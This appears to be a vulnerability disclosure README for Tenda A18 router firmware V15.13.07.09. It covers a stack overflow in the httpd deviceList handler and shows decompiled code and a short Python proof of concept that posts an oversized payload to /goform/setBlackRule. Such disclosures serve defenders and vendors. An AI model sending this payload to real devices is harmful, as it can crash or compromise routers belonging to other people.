d1tto add A18 and AX1806 ... on May 26 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: https://www.tenda.com.cn/product/A18.html
- Firmware download website: https://www.tenda.com.cn/download/detail-2760.html

Affected version

V15.13.07.09

Vulnerability details

httpd in the /bin directory has a stack overflow vulnerability. The vulnerability is in the `formAddMacfilterRule` function. This function takes the POST argument `deviceList` and passed it to function `parse_macfilter_rule`. `parse_macfilter_rule` copies it to the memory pointed by the second argument without checking the length. The memory that this second argument points to is the stack of the `formAddMacfilterRule` function.

```
28  rule = websGetVar(wp, "deviceList", byte_48283C);
29  *(_DWORD *)cgi_debug = 0;
30  *(_DWORD *)&cgi_debug[4] = 0;
31  *(_DWORD *)&cgi_debug[8] = 0;
32  *(_DWORD *)&cgi_debug[12] = 0;
33  if ( GetValue("cgi_debug", cgi_debug) && !strcmp("on", cgi_debug) )
34    printf(
35      "%s[%s:%s:%d] %sget rule == %s from web.\n\x1B[0m",
36      debug_color_7[3],
37      "cgi",
38      "formAddMacfilterRule",
39      61,
40      debug_color_7[1],
41      rule);
42  if ( *rule )
43  {
44    memset(&rule_info, 0, sizeof(rule_info));
45    if ( parse_macfilter_rule(rule, &rule_info) == SUCCESS )
46    {
47      *(_DWORD *)cgi_debug_2 = 0;
48      *(_DWORD *)&cgi_debug_2[4] = 0;
49      *(_DWORD *)&cgi_debug_2[8] = 0;
50      *(_DWORD *)&cgi_debug_2[12] = 0;
```

```
1 FUNC_RETVAL __cdecl parse_macfilter_rule(char *source_rule, dev_info *const dest_rule)
2 {
3   FUNC_RETVAL result; // $v0
4   char *rule_tmp; // [sp+2Ch] [+2Ch]
5   char *rule_tmpa; // [sp+2Ch] [+2Ch]
6   char cgi_debug[16]; // [sp+40h] [+40h] BYREF
7
8   rule_tmp = strchr(source_rule, '\r');
9   if ( rule_tmp )
10  {
11    *rule_tmp = 0;
12    rule_tmpa = rule_tmp + 1;
13    *(_DWORD *)cgi_debug = 0;
14    *(_DWORD *)&cgi_debug[4] = 0;
15    *(_DWORD *)&cgi_debug[8] = 0;
16    *(_DWORD *)&cgi_debug[12] = 0;
17    if ( GetValue("cgi_debug", cgi_debug) )
18    {
19      if ( !strcmp("on", cgi_debug) )
20        printf(
21          "%s[%s:%s:%d] %sparase rule: name == %s, mac == %s\n\x1B[0m",
22          debug_color_7[3],
23          "cgi",
24          "parse_macfilter_rule",
25          506,
26          debug_color_7[1],
27          source_rule,
28          rule_tmpa);
29    }
30    strcpy(dest_rule->name, source_rule);
31    strcpy(dest_rule->mac_addr, rule_tmpa);
32    result = SUCCESS;
33  }
```

PoC

```
import requests

data = {
    b"deviceList": b'A'*0x200 + b'\r'
}
```

```
requests.post("http://127.0.0.1/goform/setBlackRule", data = data)
```